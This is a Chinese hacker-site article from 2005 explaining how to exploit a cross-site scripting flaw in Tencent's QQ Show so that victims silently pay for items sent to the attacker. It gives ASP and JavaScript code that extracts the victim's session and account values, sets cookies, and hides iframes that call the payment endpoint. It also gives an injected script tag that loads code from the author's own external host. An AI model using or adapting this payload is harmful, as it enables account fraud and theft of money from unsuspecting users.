|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| QQ跨站漏洞巧利用强迫他人为你购买QQ秀 | |||||
作者:玄猫 文章来源:黑色森林脚本漏洞站 点击数: 更新时间:2005-8-30 ![]() |
|||||
|
免责声明 本文仅限于讨论网络安全技术,严禁利用本文所提到的漏洞进行非法攻击,利用本文章进行的攻击和造成的损失由攻击者承担全部责任,与作者无关! 前言 本文原为向《电脑报》的投稿,是两个月之前写的稿子,我很遗憾《电脑报》编辑拖沓的效率,所以只能自行发布这篇稿子了,再次为电脑报编辑对待作者的态度感到遗憾! -------------------------------------------------------------------------------- (2005-07-24 10:57:41) 逝去就別懷念 您好,我问下那篇QQ的稿子还发吗 (2005-07-24 10:58:18) Maxi 要发的 (2005-07-24 10:58:14) 逝去就別懷念 when? (2005-07-24 11:00:28) Maxi 就这一两周之类 -------------------------------------------------------------------------------- 有没有想到过,在打开别人发来的一条让你帮忙支付QQ秀衣服的请求时,你还没有点击“确定”,系统就已经“好心的”替你支付完毕了?
{ SendItem('熟草莓', '14218', '20', '14', 1, 2, '20813691', '90868'); //20813691就是被赠送的人号码 if (0) { window.location="/mall/inc/cart.html"; //页面跳转 } else { //设置几个参数 setCookie('asksession', 'bgCs4dE3tUryvLZTNSG2EAT47xMCjTs'); setCookie('senduin', '20813691'); setCookie('recvuin', '1000000'); setCookie('sendid', '90868'); window.location="/mall/inc/cl_cart.html"; //页面跳转 } } 通过这个函数我们不难看到,程序先设置一些cookies,然后跳转的页面http://qqshow.qq.com/mall/inc/cl_cart.html。这个cl_cart.html是干什么的呢?这个就是点击同意后转到的页面,显示购物车的。再来分析这个页面,首先页面显示了购买的物品,然后有一个“账户支付”的按钮,我们再来分析源代码,点击“账户支付”后页面将被定向到http://qqshow.qq.com/cgi-bin/qqshow_user_ask_pass,来执行购买支付的操作。 跨站构造 我们需要用户执行查看物品页面中的函数AskAccept()的一部分代码,即前面设置cookies的代码,而暂时不能进行页面的跳转,因为如果页面被重定向到了cl_cart.html这个页面的话,我们就失去了对客户端的控制权,但是在页面cl_cart.html又进行了某些设置cookies的操作,所以我们还要用别的方法调用这个页面,同理,我们也要调用页面http://qqshow.qq.com/cgi-bin/qqshow_user_ask_pass来进行支付的操作。 'GetUrl By Blackcat@Blackwoods http://www.blackwoods.cn '这里截取传来参数中的字符,得到几个参数的值 Dim strUrl,strsenduin,strrecvuin,strsendid,strsession strUrl = Trim(request.Servervariables("QUERY_STRING")) strsenduin = Mid(strUrl,Instr(strUrl,"senduin=")+8,Instr(strUrl,"recvuin")-Instr(strUrl,"senduin=")-9) strrecvuin = Mid(strUrl,Instr(strUrl,"recvuin=")+8,Instr(strUrl,"sendid")-Instr(strUrl,"&recvuin=")-10) strsendid = Mid(strUrl,Instr(strUrl,"sendid=")+7,Instr(strUrl,"session")-Instr(strUrl,"sendid=")-8) strsession = Mid(strUrl,Instr(strUrl,"session=")+8,Instr(strUrl,"cl")-Instr(strUrl,"session=")-9) %> function Y() { SendItem('夏季水果', '17625', '36', '24', 1, 2, '148122410', '95534'); if (0) { window.location="/mall/inc/cart.html"; } else { setCookie('asksession', '<%=strsession%>'); setCookie('senduin', '<%=strsenduin%>'); setCookie('recvuin', '<%=strrecvuin%>'); setCookie('sendid', '<%=strsendid%>'); } document.write("<iframe src='http://qqshow.qq.com/mall/inc/cl_cart.html'></iframe><iframe src='http://qqshow.qq.com/cgi-bin/qqshow_user_ask_pass'></iframe>") //实际应用时应将两个iframe的长宽都设为0以达到隐藏的目的 } 我们还要构造SendItem相关参数的值,这个就好构造的多了,因为SendItem这个函数是腾讯编写的通用函数中检测商品并设置购物车的,我们用自己的两个号来获得相关的参数:使用自己的号A,登陆QQ秀网站,购买相关的物品,然后使用“他人支付”,支付人填写自己的号码B,然后用号码B在QQ客户端登陆,查看弹出的请求页面的源代码中AskAccept()函数的相关代码,然后在我们构造的asp文件中修改,当然了,倒数第二个参数要改为我们自己接受获赠物品的号码。 ……(无关内容省略,下面是我们发送的表单参数。) items=17698&nowprice=40&itemname=%BB%A8%BC%BE%D3%EA%BC%BE&vipprice=http%3A%2F%2Fqqshow.qq.com%2Fmall%2Finc%2Freq01.html%3Fitemno%3D17698%26nowprice%3D40%26itemname%3D%BB%A8%BC%BE%D3%EA%BC%BE%26vipprice%3D&itemtype=show.qq.com%2Fmall%2Finc%2Freq01.html%3Fitemno%3D17698%26nowprice%3D40%26itemname%3D%BB%A8%BC%BE%D3%EA%BC%BE%26vipprice%3D27&recvuin=15300898&message=Hanguofeng&x=10&y=13 请注意上面标为黑体的Hanguofeng,这个就是我们填写的给被请求者的留言,我们来构造自己的代码: <script>document.write("<script src='http:// blackwoods.cn/0.asp?"+window.top.location+"'><\/script>")</script><script>Y()</script>这里我们用js写一个包含外部脚本的代码,并将页面地址作为一个参数传递给我们的生成外部js的asp页面0.asp,然后我们执行函数Y()。 就可以在用户浏览这个支付请求时,在其浏览器上弹出一个内容为“玄猫”的对话框。 |
|||||
| 文章录入:IceRiver 责任编辑:admin | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 消除局域网内使用QQ后带来的 对最新QQ医生 1.4版杀毒方式 百度空间跨站攻击详解 QQ拼音输入法截图展示 当心QQ通行证偷你密码 瑞星安 QQ通行证木马通过伪装的页面 快报!腾讯QQ 2008版将在半年 网上现窃取QQ群号大盗 用户应 机构数据: QQ市场占有率为M XSS跨站脚本及SQL注入漏洞技 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |